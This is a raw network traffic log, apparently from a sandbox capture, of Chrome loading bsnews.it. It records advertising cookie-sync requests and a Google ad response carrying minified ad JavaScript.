2024-03-28 08:51:35 UTC	580	OUT	GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/tp_scripts.json HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1003	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPrfnkzGh1UaI4uvPnlJcHw2KdcR95t-sdFK7CFdUio-rBxg1ItWfCp1xh58_p5TTViAJAJRYDD8cQ Date: Thu, 28 Mar 2024 08:51:36 GMT Last-Modified: Wed, 04 Oct 2023 13:02:18 GMT ETag: W/"3c3f44391767e7095c754cb3c9426361" Vary: Accept-Encoding x-goog-generation: 1696424538223386 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 125 Content-Type: application/json x-goog-hash: crc32c=9v+UZQ== x-goog-hash: md5=PD9EORdn5wlcdUyzyUJjYQ== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Access-Control-Expose-Headers: Content-Length, Date, Server, Transfer-Encoding, Warning, X-GUploader-Response-Body-Transformations, X-GUploader-UploadID, X-Google-Trace Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:36 UTC	278	IN	Data Raw: 31 30 61 0d 0a 5b 0a 20 20 5b 0a 20 20 20 20 22 2f 2f 6a 73 2e 74 6e 63 69 64 2e 61 70 70 2f 30 31 5f 61 64 66 6f 72 6d 2e 6a 73 22 2c 0a 20 20 20 20 22 74 6e 63 5f 61 64 66 6f 72 6d 22 0a 20 20 5d 2c 0a 20 20 5b 0a 20 20 20 20 22 2f 2f 6a 73 2e 74 6e 63 69 64 2e 61 70 70 2f 30 32 5f 77 65 62 6f 72 61 6d 61 5f 73 79 6e 63 2e 6a 73 22 2c 0a 20 20 20 20 22 74 6e 63 5f 77 65 62 6f 72 61 6d 61 5f 73 79 6e 63 22 0a 20 20 5d 2c 0a 20 20 5b 0a 20 20 20 20 22 2f 2f 6a 73 2e 74 6e 63 69 64 2e 61 70 70 2f 30 36 5f 70 75 62 6d 61 74 69 63 2e 6a 73 22 2c 0a 20 20 20 20 22 74 6e 63 5f 70 75 62 6d 61 74 69 63 22 0a 20 20 5d 2c 0a 20 20 5b 0a 20 20 20 20 22 2f 2f 6a 73 2e 74 6e 63 69 64 2e 61 70 70 2f 30 39 5f 6e 69 65 6c 73 65 6e 2e 6a 73 22 2c 0a 20 20 20 20 22 74 6e Data Ascii: 10a[ [ "//js.tncid.app/01_adform.js", "tnc_adform" ], [ "//js.tncid.app/02_weborama_sync.js", "tnc_weborama_sync" ], [ "//js.tncid.app/06_pubmatic.js", "tnc_pubmatic" ], [ "//js.tncid.app/09_nielsen.js", "tn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	50298	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	706	OUT	GET /match/?int_id=1&uid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&gdpr=0&gdpr_consent= HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:36 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:53; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	50296	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:35 UTC	2446	OUT	GET /gampad/ads?pvsid=1536995679409651&correlator=3140222702998783&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews-floorad-desktop&enc_prev_ius=%2F0%2F1&prev_iu_szs=728x90&ifi=3&didk=185291728&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890521&lmt=1711560111&adxs=268&adys=817&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1263x-1&fws=512&ohw=0&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzLWZsb29yYWQtZGVza3RvcCIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=3616936076&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Ad-Auction-Fetch: ?1 Origin: https://bsnews.it X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:36 UTC	812	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Observe-Browsing-Topics: ?1 Google-LineItem-Id: -1 Google-Creative-Id: -1 Date: Thu, 28 Mar 2024 08:51:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:36 UTC	440	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 31 35 30 31 33 34 35 38 30 2f 62 73 6e 65 77 73 2d 66 6c 6f 6f 72 61 64 2d 64 65 73 6b 74 6f 70 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 39 30 2c 37 32 38 2c 30 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 2c 6e 75 6c 6c 2c 5b 31 33 38 34 31 36 31 33 32 37 33 35 5d 2c 5b 34 36 37 38 30 34 39 37 31 34 5d 2c 5b 35 37 37 36 38 30 32 30 5d 2c 5b 32 33 31 31 36 30 31 31 37 31 5d 2c 5b 32 35 37 34 33 32 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 43 4f 6e 65 37 49 76 4b 6c 6f 55 44 46 57 6f 59 69 67 4d 64 70 75 6b 4b 4c 77 22 2c 6e 75 6c Data Ascii: 8000{"/150134580/bsnews-floorad-desktop":["html",0,null,null,1,90,728,0,1,null,null,1,1,null,[138416132735],[4678049714],[57768020],[2311601171],[257432],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"COne7IvKloUDFWoYigMdpukKLw",nul
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 6a 73 63 56 65 72 73 69 6f 6e 20 3d 20 27 72 32 30 32 34 30 33 32 36 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 67 6f 6f 67 6c 65 5f 63 61 73 6d 3d 5b 5d 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 6c 65 66 74 4d 61 72 67 69 6e 3d 22 30 22 20 74 6f 70 4d 61 72 67 69 6e 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 64 69 63 6e 66 20 3d 20 7b 65 62 72 70 66 61 3a 20 74 72 75 65 2c 7d 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 6a 63 3d 22 34 30 22 20 64 61 74 61 2d 6a 63 2d 76 65 72 73 69 6f 6e 3d 22 72 32 Data Ascii: tml><head><script>var jscVersion = 'r20240326';</script><script>var google_casm=[];</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {ebrpfa: true,};</script><script data-jc="40" data-jc-version="r2
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 30 3a 76 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 77 28 29 3f 30 3a 76 28 22 45 64 67 65 22 29 29 7c 7c 28 77 28 29 3f 65 61 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 76 28 22 45 64 67 2f 22 29 29 7c 7c 77 28 29 26 26 65 61 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 69 61 3d 7b 7d 2c 78 3d 6e 75 6c 6c 3b 76 61 72 20 79 3d 53 79 6d 62 6f 6c 28 29 3b 76 61 72 20 6a 61 3d 7b 7d 2c 6b 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 61 2e 67 21 3d 3d 6b 61 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 21 41 72 72 61 79 Data Ascii: 0:v("Opera"))\|\|(w()?0:v("Edge"))\|\|(w()?ea("Microsoft Edge"):v("Edg/"))\|\|w()&&ea("Opera"));var ia={},x=null;var y=Symbol();var ja={},ka={};function la(a){return!(!a\|\|"object"!==typeof a\|\|a.g!==ka)}function ma(a){return null!==a&&"object"===typeof a&&!Array
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 28 61 29 29 7b 63 6f 6e 73 74 20 66 3d 7b 7d 3b 66 6f 72 28 6c 65 74 20 67 20 69 6e 20 61 29 66 5b 67 5d 3d 78 61 28 61 5b 67 5d 2c 62 2c 63 2c 64 2c 65 29 3b 61 3d 66 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 63 6f 6e 73 74 20 66 3d 64 7c 7c 63 3f 61 5b 79 5d 7c 30 3a 30 3b 64 3d 64 3f 21 21 28 66 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 3b 66 6f 72 28 6c 65 74 20 67 3d 30 3b 67 3c 61 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 61 5b 67 5d 3d 78 61 28 61 5b 67 5d 2c 62 2c 63 2c 64 2c 65 29 3b 63 26 26 63 28 66 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: (a)){const f={};for(let g in a)f[g]=xa(a[g],b,c,d,e);a=f}else a=b(a,d);return a}}function ya(a,b,c,d,e){const f=d\|\|c?a[y]\|0:0;d=d?!!(f&32):void 0;a=Array.prototype.slice.call(a);for(let g=0;g<a.length;g++)a[g]=xa(a[g],b,c,d,e);c&&c(f,a);return a}function
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 7d 7d 3b 46 2e 70 72 6f 74 6f 74 79 70 65 2e 76 3d 6a 61 3b 20 46 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 61 28 74 68 69 73 2c 74 68 69 73 2e 6c 2c 21 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 20 66 75 6e 63 74 69 6f 6e 20 43 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 61 3f 76 6f 69 64 20 30 3a 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 42 3b 63 6f 6e 73 74 20 65 3d 28 63 3f 61 2e 6c 3a 62 29 5b 79 5d 3b 61 3d 62 2e 6c 65 6e 67 74 68 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 62 3b 6c 65 74 20 66 2c 67 3b 69 66 28 6d 61 28 63 3d 62 5b 61 2d 31 5d 29 29 7b 61 3a 7b 76 61 72 20 68 3d 63 3b 6c 65 74 20 6e 3d 7b 7d 2c 70 3d 21 31 3b 66 6f 72 28 76 61 72 20 6b 20 69 6e 20 68 29 Data Ascii: }};F.prototype.v=ja; F.prototype.toString=function(){return Ca(this,this.l,!1).toString()}; function Ca(a,b,c){var d=ca?void 0:a.constructor.B;const e=(c?a.l:b)[y];a=b.length;if(!a)return b;let f,g;if(ma(c=b[a-1])){a:{var h=c;let n={},p=!1;for(var k in h)
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 63 2c 21 31 29 7d 3b 76 61 72 20 4c 3d 61 3d 3e 7b 76 61 72 20 62 3d 22 73 22 3b 69 66 28 61 2e 73 26 26 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 29 72 65 74 75 72 6e 20 61 2e 73 3b 62 3d 6e 65 77 20 61 3b 72 65 74 75 72 6e 20 61 2e 73 3d 62 7d 3b 76 61 72 20 4e 61 3d 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 5e 3a 2f 3f 23 2e 5d 2b 29 3a 29 3f 28 3f 3a 2f 2f 28 3f 3a 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 29 40 29 3f 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 3f 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 28 3f 3d 5b 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 7c 24 29 29 3f 28 5b 5e 3f 23 5d 2b 29 3f 28 3f 3a 5c 5c 5c 5c 3f 28 5b 5e 23 5d 2a 29 29 3f 28 3f 3a 23 28 5b 5c 5c 5c 5c 73 5c 5c 5c 5c 53 5d 2a 29 29 3f 24 22 29 3b 66 75 Data Ascii: c,!1)};var L=a=>{var b="s";if(a.s&&a.hasOwnProperty(b))return a.s;b=new a;return a.s=b};var Na=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\\\\\/?#])@)?([^\\\\\\\\/?#]?)(?::([0-9]+))?(?=[\\\\\\\\/?#]\|$))?([^?#]+)?(?:\\\\?([^#]))?(?:#([\\\\s\\\\S]))?$");fu
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 2c 64 3d 21 31 2c 65 3d 21 31 29 7b 58 61 28 61 2c 62 2c 63 2c 21 31 2c 64 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 58 61 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 3d 21 31 29 7b 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 7c 7c 28 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3d 5b 5d 29 3b 63 6f 6e 73 74 20 67 3d 57 61 28 22 49 4d 47 22 2c 61 2e 64 6f 63 75 6d 65 6e 74 29 3b 69 66 28 63 7c 7c 65 29 7b 63 6f 6e 73 74 20 68 3d 6b 3d 3e 7b 63 26 26 63 28 6b 29 3b 69 66 28 65 29 7b 6b 3d 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3b 63 6f 6e 73 74 20 6c 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 6b 2c 67 2c 76 6f 69 64 20 30 29 3b 30 3c 3d 6c 26 Data Ascii: ,d=!1,e=!1){Xa(a,b,c,!1,d,e)}function Xa(a,b,c,d,e,f=!1){a.google_image_requests\|\|(a.google_image_requests=[]);const g=Wa("IMG",a.document);if(c\|\|e){const h=k=>{c&&c(k);if(e){k=a.google_image_requests;const l=Array.prototype.indexOf.call(k,g,void 0);0<=l&
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 73 20 68 62 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 65 72 72 6f 72 3d 61 3b 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 62 2e 63 6f 6e 74 65 78 74 3b 74 68 69 73 2e 6d 73 67 3d 62 2e 6d 65 73 73 61 67 65 7c 7c 22 22 3b 74 68 69 73 2e 69 64 3d 62 2e 69 64 7c 7c 22 6a 73 65 72 72 6f 72 22 3b 74 68 69 73 2e 6d 65 74 61 3d 7b 7d 7d 7d 3b 63 6f 6e 73 74 20 69 62 3d 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3f 3a 2f 2f 28 5c 5c 5c 5c 77 7c 2d 29 2b 5c 5c 5c 5c 2e 63 64 6e 5c 5c 5c 5c 2e 61 6d 70 70 72 6f 6a 65 63 74 5c 5c 5c 5c 2e 28 6e 65 74 7c 6f 72 67 29 28 5c 5c 5c 5c 3f 7c 2f 7c 24 29 22 29 3b 76 61 72 20 6a 62 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 68 3d 62 Data Ascii: s hb{constructor(a,b){this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta={}}};const ib=RegExp("^https?://(\\\\w\|-)+\\\\.cdn\\\\.ampproject\\\\.(net\|org)(\\\\?\|/\|$)");var jb=class{constructor(a,b){this.g=a;this.h=b
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 6f 72 74 69 6e 67 5f 71 75 65 75 65 2c 62 3d 61 2e 67 6f 6f 67 6c 65 5f 6d 65 61 73 75 72 65 5f 6a 73 5f 74 69 6d 69 6e 67 29 3b 74 68 69 73 2e 67 3d 53 28 29 7c 7c 28 6e 75 6c 6c 21 3d 62 3f 62 3a 31 3e 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 7d 73 74 61 72 74 28 61 2c 62 29 7b 69 66 28 21 74 68 69 73 2e 67 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 6e 65 77 20 6e 62 28 61 2c 62 29 3b 62 3d 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 73 74 61 72 74 60 3b 52 26 26 53 28 29 26 26 52 2e 6d 61 72 6b 28 62 29 3b 72 65 74 75 72 6e 20 61 7d 65 6e 64 28 61 29 7b 69 66 28 74 68 69 73 2e 67 26 26 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 76 61 6c 75 65 29 7b 61 2e 64 75 72 61 74 69 6f 6e 3d 28 Data Ascii: orting_queue,b=a.google_measure_js_timing);this.g=S()\|\|(null!=b?b:1>Math.random())}start(a,b){if(!this.g)return null;a=new nb(a,b);b=`goog_${a.label}_${a.uniqueId}_start`;R&&S()&&R.mark(b);return a}end(a){if(this.g&&"number"===typeof a.value){a.duration=(
2024-03-28 08:51:36 UTC	1252	IN	Data Raw: 6b 5d 2c 61 2e 69 2c 22 2c 24 22 29 3b 69 66 28 6c 29 7b 6c 3d 65 2b 6c 3b 69 66 28 64 3e 3d 6c 2e 6c 65 6e 67 74 68 29 7b 64 2d 3d 6c 2e 6c 65 6e 67 74 68 3b 63 2b 3d 6c 3b 65 3d 61 2e 69 3b 62 72 65 61 6b 7d 62 3d 6e 75 6c 6c 3d 3d 62 3f 67 3a 62 7d 7d 7d 61 3d 22 22 3b 6e 75 6c 6c 21 3d 62 26 26 28 61 3d 65 2b 22 74 72 6e 3d 22 2b 62 29 3b 72 65 74 75 72 6e 20 63 2b 61 7d 63 6c 61 73 73 20 76 62 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 69 3d 22 26 22 3b 74 68 69 73 2e 68 3d 7b 7d 3b 74 68 69 73 2e 6a 3d 30 3b 74 68 69 73 2e 67 3d 5b 5d 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 62 28 61 29 7b 6c 65 74 20 62 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 61 2e 6e 61 6d 65 26 26 2d 31 3d 3d 62 2e 69 6e 64 65 78 4f 66 28 61 2e 6e 61 6d 65 29 26 Data Ascii: k],a.i,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.i;break}b=null==b?g:b}}}a="";null!=b&&(a=e+"trn="+b);return c+a}class vb{constructor(){this.i="&";this.h={};this.j=0;this.g=[]}};function wb(a){let b=a.toString();a.name&&-1==b.indexOf(a.name)&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	50304	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	867	OUT	GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1 Host: cs.admanmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: admtr_red=undefined; admtr=9741359e-b2a2-4864-af08-41d769df6c9b; ac_r=CS5
2024-03-28 08:51:36 UTC	576	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Length: 0 Connection: close Set-Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Set-Cookie: ac_r=CS5\|CS253; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: https://onetag-sys.com/match/?int_id=164&gdpr=0&gdpr_consent=&uid=9741359e-b2a2-4864-af08-41d769df6c9b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.4	50302	35.207.24.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	777	OUT	GET /sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; c=1711615890; tuuid_lu=1711615891; ssh=!onetag,1711615891
2024-03-28 08:51:36 UTC	438	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 28 Mar 2024 08:51:36 GMT Location: //onetag-sys.com/match/?int_id=160&uid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96 Set-Cookie: ssh=!onetag,1711615896; path=/; expires=Sat, 28-Mar-2026 08:51:36 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.4	50305	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
